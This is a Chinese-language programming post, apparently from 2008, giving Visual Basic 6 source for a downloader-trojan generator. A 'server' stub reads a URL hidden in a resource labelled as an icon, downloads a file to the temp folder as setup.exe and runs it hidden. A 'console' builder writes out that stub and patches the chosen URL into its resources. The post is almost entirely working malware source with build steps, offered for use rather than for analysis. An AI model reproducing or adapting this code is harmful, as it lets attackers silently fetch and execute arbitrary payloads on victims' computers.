日期:2008-10-19  浏览次数:20446 次

 

以下就是服务端

 Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" _   '取得temp目录的API
        (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long'下在文件的API

Public Sub Main()
Dim sourceUrl As String
Dim chen() As Byte
Dim targetFile As String
Dim tempPath As String
Dim len5 As Long

   Dim i As Long
  
    chen = LoadResData("HTTP", "图标") '取出数据
   For i = 0 To 184  '还原为字符
    
  If chen(i) <> 0 And chen(i) <> 32 Then
   sourceUrl = sourceUrl + Chr(chen(i))
  
  End If
  Next
   tempPath = String(255, 0)
       len5 = GetTempPath(256, tempPath)
        tempPath = Left(tempPath, len5)
 
         targetFile = tempPath + "setup.exe"  ' 保存路径
    hfile = URLDownloadToFile(0&, sourceUrl, targetFile, 0&, 0&)
If hfile = 0 Then
Shell targetFile, vbHide
End If

End Sub

保存为BAS 文件就可以了

控制台文件需要对资源文件进行读写

用到以下几个API

Public Declare Function BeginUpdateResource Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long

Public Declare Function UpdateResource Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As String, ByVal lpName As String, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long

Public Declare Function EndUpdateResource Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

这几个可以把它放到一个bas文件中

以下就是控制台的代码


Private Sub Command1_Click()
  Dim bwenjian As Long
  Dim wenjian As Long
  Dim ewenjian As Long
  Dim APP2() As Byte
 
   Dim astr As String * 200
  
   
  APP2 = LoadResData("EXE", "EXEFILE")
    If Dir(Text1.Text) <> "" Then
     
      MsgBox Text1.Text + "已存在"
     
      Exit Sub
   
    End If
  
   Open Text1.Text For Binary As #1
     
        Put #1, , APP2()
     
        Close #1
    
    
   
   astr = Left$(Text2.Text, 200)
      
    bwenjian = BeginUpdateResource(Text1.Text, False)' 开始一个添加资源的过程
    
    wenjian = UpdateResource(bwenjian, "图标", "HTTP", 2052, ByVal astr, 200) ' 添加资源
   
   ewenjian = EndUpdateResource(bwenjian, False) ' 结束添加资源过程

End Sub

Private Sub Form_Load()
Text1.Text = App.Path & "\XZ.Exe" '  默认的服务端文件名
End Sub

当然你要把 服务端的EXE导入里面存为资源